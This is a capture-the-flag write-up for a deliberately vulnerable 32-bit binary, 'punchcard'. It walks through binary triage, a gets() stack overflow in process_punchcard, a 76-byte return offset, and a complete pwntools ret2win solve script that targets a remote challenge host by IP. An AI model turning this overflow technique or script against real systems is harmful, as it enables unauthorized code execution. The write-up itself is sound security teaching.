

Challenge Name: The Machine That Remembers Too Much

The program pretends to be a punchcard-based neural inference engine. It reads one line of user input and eventually terminates. The intended bug is a classic unsafe stack read: user-controlled data is copied into a fixed-size stack buffer with `gets()` .

The challenge has a hidden success function, `win()` , that prints the classified output. Because the binary is not PIE, the address of this function is stable, so the exploit only needs to overwrite the saved return address with the address of `win()` .

The recovered flag is intentionally not included in this writeup.

```
## Triage
```

```
First, inspect the file type and protections:
```

```
```bash
file /mnt/c/Users/Red/Downloads/punchcard
checksec --file=/mnt/c/Users/Red/Downloads/punchcard
sha256sum /mnt/c/Users/Red/Downloads/punchcard
```

Important results:

```
ELF 32-bit LSB executable, Intel 80386
Dynamically linked
Not stripped
Partial RELRO
No canary
No PIE
Executable stack
```

The useful mitigations state is:

- No canary means a stack overflow can reach the saved return address without leaking a stack cookie.
- No PIE means code addresses in the main binary are fixed.
- NX is not useful here because we do not need shellcode.
- Partial RELRO is not relevant because the shortest route is `ret2win`, not GOT overwrite.

The binary also contains useful strings:

```
strings -a -n 4 /mnt/c/Users/Red/Downloads/punchcard
```

Interesting strings:

```
[DEBUG] win() function loaded at: %p
INSERT PUNCHCARD DATA BELOW
CARD>
NEURAL INFERENCE COMPLETE
CLASSIFIED OUTPUT:
```

The program prints the `win()` address itself:

```
[DEBUG] win() function loaded at: 0x80491d6
```

The symbol table confirms the same address:

```
readelf -Ws /mnt/c/Users/Red/Downloads/punchcard | rg 'win$'
```

```
37: 080491d6 321 FUNC GLOBAL DEFAULT 13 win
```

## Vulnerability

The vulnerable function is `process_punchcard`.

Disassembly:

```
objdump -d -Mintel /mnt/c/Users/Red/Downloads/punchcard \
| sed -n '/<process_punchcard>:/,/^$/p'
```

Relevant instructions:

```
08049317 <process_punchcard>:
8049317: 55 push ebp
8049318: 89 e5 mov ebp,esp
804931a: 53 push ebx
804931b: 83 ec 44 sub esp,0x44
...
8049397: 83 ec 0c sub esp,0xc
804939a: 8d 45 b8 lea eax,[ebp-0x48]
```

```
804939d: 50 push eax
804939e: e8 bd fc ff call gets@plt
```

The destination buffer is at:

```
ebp - 0x48
```

The program passes that buffer directly to `gets()`. Since `gets()` reads until newline and does not know the destination size, an input longer than the local stack space can overwrite saved registers, saved `ebp`, and the saved return address.

The function does perform a length check later:

```
80493c3: call strlen@plt
80493cb: cmp eax,0x28
80493ce: jbe 80493e2
```

That check is not a protection. It happens after the unsafe copy has already completed, and the program continues even when the input is too long. It only changes the printed warning path.

## Offset Calculation

The buffer starts at `ebp-0x48`.

The saved return address is at `ebp+0x4`.

Therefore:

```
offset = (ebp + 0x4) - (ebp - 0x48)
offset = 0x4c
offset = 76 bytes
```

This is a common place to make a mistake. Even though the program advertises `64 BYTES CORE STORAGE`, the return offset is not 64 plus saved `ebp`. The function also saves `ebx`:

```
push ebx
```

That saved `ebx` slot sits between the local buffer area and saved frame data in this 32-bit PIC-style function prologue. The reliable overwrite distance is 76 bytes.

This can also be confirmed with pwntools cyclic patterns:

```
from pwn import *

print(cyclic_find(0x61616174, n=4))
```

Result:

76

## Exploit Plan

The exploit plan is minimal:

1. Wait for the `CARD>` prompt.
2. Send 76 bytes of padding.
3. Overwrite the saved return address with `win()` .
4. Let `process_punchcard()` return.
5. Execution continues at `win()` and prints the classified output.

The payload shape:

```
"A" * 76 + p32(0x080491d6)
```

Because the target is 32-bit little endian, the address is packed with `p32()` .

## Full Solve Script

The script is saved as `solve.py` beside this writeup.

```
#!/usr/bin/env python3
from pwn import *

HOST = "222.255.138.122"
PORT = 10093

OFFSET = 76
WIN = 0x080491D6

def start():
 if args.REMOTE:
 return remote(HOST, PORT)
```

```
 return process("/mnt/c/Users/Red/Downloads/punchcard")

def main():
 context.binary = ELF("/mnt/c/Users/Red/Downloads/punchcard",
checksec=False)
 context.log_level = "info"

 payload = flat(
 b"A" * OFFSET,
 p32(WIN),
)

 io = start()
 io.recvuntil(b"CARD> ")
 io.sendline(payload)
 io.interactive()

if __name__ == "__main__":
 main()
```

Run locally:

```
python3 solve.py
```

Run against remote:

```
python3 solve.py REMOTE
```